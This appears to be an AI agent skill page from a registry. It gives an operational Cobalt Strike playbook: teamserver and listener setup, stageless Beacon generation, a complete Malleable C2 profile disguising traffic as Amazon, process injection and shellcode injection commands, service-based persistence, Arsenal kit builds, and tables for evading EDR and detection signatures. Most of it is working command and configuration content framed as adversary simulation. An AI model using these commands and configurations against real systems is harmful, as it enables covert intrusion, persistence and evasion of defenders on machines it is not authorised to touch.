Cobalt Strike operations — Beacon deployment, Malleable C2 profile creation, listener setup, OPSEC-safe beacon configuration, process injection, and Arsenal kit usage.
67
81%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Cobalt Strike is a commercial adversary simulation platform. It provides Beacon implants with async and interactive modes, Malleable C2 profiles for traffic shaping, and extensible post-exploitation via Aggressor scripts and the Arsenal kit.
# Start teamserver
./teamserver <TEAMSERVER_IP> <PASSWORD> /path/to/malleable.profile
# Connect client
./cobaltstrike
# Generate stageless HTTPS Beacon (CLI)
./pegen --os windows --arch x64 --listener https-beacon --format exe --output /workspace/exploit/beacon.exe
# List active Beacons (Aggressor console)
beacon_ids()| Technique | ID | Usage in Skill |
|---|---|---|
| Application Layer Protocol: Web Protocols | T1071.001 | HTTPS/HTTP Beacon traffic |
| Encrypted Channel: Symmetric Cryptography | T1573.001 | AES-256 encrypted C2 comms |
| Non-Application Layer Protocol | T1095 | Raw TCP/SMB Beacon channels |
| Protocol Tunneling | T1572 | DNS tunneling, SMB named pipe chaining |
The teamserver is the Cobalt Strike operator backend. All Beacons call back to it through configured listeners.
# Start teamserver with a Malleable C2 profile
cd /opt/cobaltstrike
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile
# Start on a non-default port
./teamserver <TEAMSERVER_IP> <SHARED_PASSWORD> /workspace/profiles/amazon.profile 50050
# Verify teamserver is listening
ss -tlnp | grep -E '(50050|443)'OPSEC notes:
# Cobalt Strike GUI: Cobalt Strike > Listeners > Add
# Name: https-beacon
# Payload: Beacon HTTPS
# Host: <C2_DOMAIN>
# Port: 443
# Beacons: <C2_DOMAIN>
# Profile: (loaded at teamserver start)# Name: dns-beacon
# Payload: Beacon DNS
# Host: ns1.<C2_DOMAIN>
# Beacons: <C2_DOMAIN>
# Port: 53
# NS Response: <TEAMSERVER_IP>
#
# Required DNS records:
# A ns1.<C2_DOMAIN> -> <TEAMSERVER_IP>
# NS c2.<C2_DOMAIN> -> ns1.<C2_DOMAIN># Name: smb-beacon
# Payload: Beacon SMB
# Pipename: \\.\pipe\msagent_<RANDOM>
#
# SMB Beacons chain through an egress Beacon — no direct internet required.
# Use for lateral movement inside segmented networks.# Name: tcp-bind
# Payload: Beacon TCP (Bind)
# Port: 4444
#
# The parent Beacon connects to the child — useful when the child
# cannot initiate outbound connections.# GUI: Attacks > Packages > Windows Executable (S)
# Listener: https-beacon
# Output: Windows EXE (stageless)
# x64: checked
# Save to: /workspace/exploit/beacon_https_x64.exe
# Raw shellcode for custom loaders
# Attacks > Packages > Payload Generator
# Listener: https-beacon
# Output: Raw
# x64: checked
# Save to: /workspace/exploit/beacon.bin# GUI: Attacks > Packages > Windows Executable
# Listener: https-beacon
# Output: Windows EXE
# x64: checked
# Smaller initial payload — fetches full Beacon from listener on execution.
# WARNING: staging traffic is signatured; prefer stageless in mature environments.# Attacks > Packages > Windows DLL
# Listener: https-beacon
# x64: checked
# Save to: /workspace/exploit/beacon.dll
# Execute via sideloading or rundll32
# rundll32.exe beacon.dll,StartW# Attacks > Packages > Windows Service EXE
# Listener: https-beacon
# x64: checked
# Registers as a Windows service for persistence via:
# sc create <NAME> binPath= "C:\path\to\svc_beacon.exe" start= autoMalleable C2 profiles shape Beacon traffic to mimic legitimate application behavior, evading network-level detection.
# /workspace/profiles/amazon.profile
set sample_name "Amazon Browsing";
set sleeptime "60000"; # 60 second callback
set jitter "37"; # 37% jitter
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
# Process injection defaults
set host_stage "false"; # Disable staging (OPSEC)
https-certificate {
set CN "www.amazon.com";
set O "Amazon.com Inc.";
set C "US";
set validity "365";
}
http-get {
set uri "/s/ref=nb_sb_noss";
client {
header "Accept" "text/html,application/xhtml+xml";
header "Accept-Encoding" "gzip, deflate, br";
header "Accept-Language" "en-US,en;q=0.9";
metadata {
base64url;
parameter "field-keywords";
}
}
server {
header "Content-Type" "text/html; charset=UTF-8";
header "Server" "Server";
header "X-Amz-Cf-Id" "XXXXXXXXX";
output {
netbios;
prepend "<!DOCTYPE html><html>";
append "</html>";
print;
}
}
}
http-post {
set uri "/gp/product/handle-buy-box";
client {
header "Content-Type" "application/x-www-form-urlencoded";
id {
base64url;
parameter "session-id";
}
output {
base64url;
parameter "data";
}
}
server {
header "Content-Type" "application/json";
output {
netbios;
prepend "{\"status\":\"ok\",\"data\":\"";
append "\"}";
print;
}
}
}# Lint profile before loading
./c2lint /workspace/profiles/amazon.profile
# Expected output: no errors, warnings acceptable
# If c2lint fails, the teamserver will refuse to load the profile# Disable staged payloads (prevents signature on staging URI)
set host_stage "false";
# Spawn-to — controls which process Beacon forks into for post-ex
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
# Data transform — change encoding to avoid base64 signatures
set data_jitter "100";
# TCP frame header (avoids default Beacon wire signature)
set tcp_frame_header "\x80";
# SMB pipe name (avoid defaults)
set pipename "mojo.5688.8052.183894939787088877##";
set pipename_stager "mojo.5688.8052.35780273329370473##";# Interactive (risky — high beacon rate)
sleep 0
# Low-and-slow recon phase
sleep 300 50 # 5 min +-50% jitter = 150-450 sec intervals
# Standard operations
sleep 60 37 # 60 sec +-37% jitter
# Long-haul persistence
sleep 3600 80 # 1 hour +-80% jitter = 12 min to 1h48mGuidance:
| Phase | Sleep (sec) | Jitter (%) | Rationale |
|---|---|---|---|
| Initial access | 60–300 | 30–50 | Blend with normal browsing patterns |
| Active operations | 10–30 | 20–40 | Responsiveness with some variation |
| Persistence / dormant | 1800–86400 | 50–80 | Minimize traffic, maximize dwell |
| Interactive tasking | 0 (session mode) | — | Only for time-critical ops, revert after |
# Beacon spawns a sacrificial process, injects code, collects output, kills process.
# Controlled by spawnto_x86/x64 in profile.
# Override per-command:
spawnto x64 %windir%\sysnative\RuntimeBroker.exe# BOFs execute in Beacon's own process — no new process, no fork.
# Use Arsenal/community BOFs for OPSEC-sensitive tasks.
inline-execute /workspace/bofs/whoami.o# Inject Beacon shellcode into a running process
inject <PID> x64 https-beacon
# Shinject — inject arbitrary shellcode
shinject <PID> x64 /workspace/exploit/shellcode.bin
# DLL injection
dllinject <PID> /workspace/exploit/beacon.dll# Spawn a suspended process and replace its image
# Attacks > Packages > Payload Generator > choose process hollowing
# Target process: svchost.exe, RuntimeBroker.exe, or similar long-lived system processOPSEC process selection:
| Process | Risk | Notes |
|---|---|---|
svchost.exe | Low (if spawned correctly) | Must run as SYSTEM with correct parent |
RuntimeBroker.exe | Low | Normal user-level process |
dllhost.exe | Low | COM surrogate, common |
notepad.exe | Medium | Users notice open windows |
powershell.exe | High | Heavily monitored by EDR |
The Arsenal kit provides source-level customization of Cobalt Strike's built-in capabilities.
# Build custom artifacts (shellcode loaders, DLLs)
cd /opt/cobaltstrike/arsenal-kit/kits/artifact
./build.sh pipe VirtualAlloc 310272 5 false false /workspace/arsenal/artifact
# Build custom resource kit (PowerShell templates, HTA, VBA)
cd /opt/cobaltstrike/arsenal-kit/kits/resource
./build.sh /workspace/arsenal/resource
# Build custom process-inject kit
cd /opt/cobaltstrike/arsenal-kit/kits/process_inject
./build.sh /workspace/arsenal/process_inject
# Load customized kits via Aggressor
# In Script Console:
load("/workspace/arsenal/artifact/artifact.cna")
load("/workspace/arsenal/resource/resources.cna")
load("/workspace/arsenal/process_inject/process_inject.cna")| Risk | Default Behavior | Mitigation |
|---|---|---|
| Named pipes | \\.\pipe\msagent_XX | Custom pipename in profile |
| Spawn-to process | rundll32.exe | Set spawnto_x64 to dllhost.exe or RuntimeBroker.exe |
| Staging URIs | Checksum8 pattern (/aaa9, /ab2g) | set host_stage "false" |
| Self-signed TLS | Default CS cert | Use valid cert or Malleable https-certificate block |
| JA3 fingerprint | Unique to CS | Use a redirector with nginx to terminate TLS |
| User-Agent | Default CS UA | Set in Malleable profile |
| Post-ex commands | Fork & run (new process) | Use BOFs for inline execution |
| DNS queries | High volume TXT records | Increase sleep, use hybrid DNS+HTTPS |
| Indicator | Pattern | Mitigation |
|---|---|---|
| Default named pipe | \\.\pipe\msagent_* | Custom pipename in Malleable profile |
| Checksum8 staging URI | URI where checksum8(uri) == 92 (x86) or 93 (x64) | Disable staging (host_stage "false") |
| Beacon metadata | XOR-encoded cookie in HTTP GET | Custom metadata transform in profile |
| Default TLS cert | Serial 146473198 / Issuer "Major Cobalt Strike" | Valid cert or custom https-certificate |
| Sleep pattern | Consistent interval with fixed jitter | Randomize sleep values per phase |
| NtCreateThreadEx injection | ETW process injection telemetry | Use BOFs, modify process_inject kit |
| Named pipe impersonation | ImpersonateNamedPipeClient calls | Unique pipe names, limit lateral SMB usage |
| Issue | Symptom | Resolution |
|---|---|---|
| c2lint fails | Profile failed validation | Fix syntax; ensure all blocks have matching braces |
| Beacon won't call back | No sessions appear | Verify listener port open, DNS resolves, redirector forwards correctly |
| Staging blocked | HTTP 404 on stager URI | Defender blocking checksum8 URI; switch to stageless |
| Process injection fails | Could not inject | Target process arch mismatch (x86 vs x64) or protected process |
| Malleable profile conflict | Teamserver exits on start | Only one profile per teamserver; check for duplicate global options |
| Beacon killed after minutes | AV/EDR detection | Recompile artifact kit, change sleep, use process hollowing |
| SMB Beacon unreachable | could not connect to pipe | Firewall blocking port 445 or pipe name changed |
Is the target environment monitored by mature EDR?
├── YES
│ ├── Use stageless payloads with host_stage=false
│ ├── Customize artifact kit for loader evasion
│ ├── BOFs over fork-and-run for post-exploitation
│ ├── Profile mimicking high-volume site (CDN, SaaS)
│ └── Consider domain fronting (see c2-domain-fronting skill)
├── NO (limited monitoring)
│ ├── Standard HTTPS listener with moderate profile
│ ├── Fork-and-run acceptable for speed
│ └── Default artifact kit may suffice
└── INTERNAL PIVOT (post-initial-access)
├── SMB Beacon for peer-to-peer chaining
├── TCP bind Beacon for segmented networks
└── Named pipe customization required| Tool | Purpose | Source |
|---|---|---|
| Cobalt Strike | Adversary simulation platform | https://www.cobaltstrike.com/ |
| Arsenal Kit | Source-level CS customization | Included with CS license |
| c2lint | Malleable profile validator | Included with CS |
| Malleable-C2-Profiles | Community profile repo | https://github.com/rsmudge/Malleable-C2-Profiles |
| BOF.NET | .NET BOF execution | https://github.com/CCob/BOF.NET |
| CS-Situational-Awareness-BOF | Recon BOFs | https://github.com/trustedsec/CS-Situational-Awareness-BOF |
| Cobalt Strike Community Kit | Community extensions | https://cobalt-strike.github.io/community_kit/ |
e34afba
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.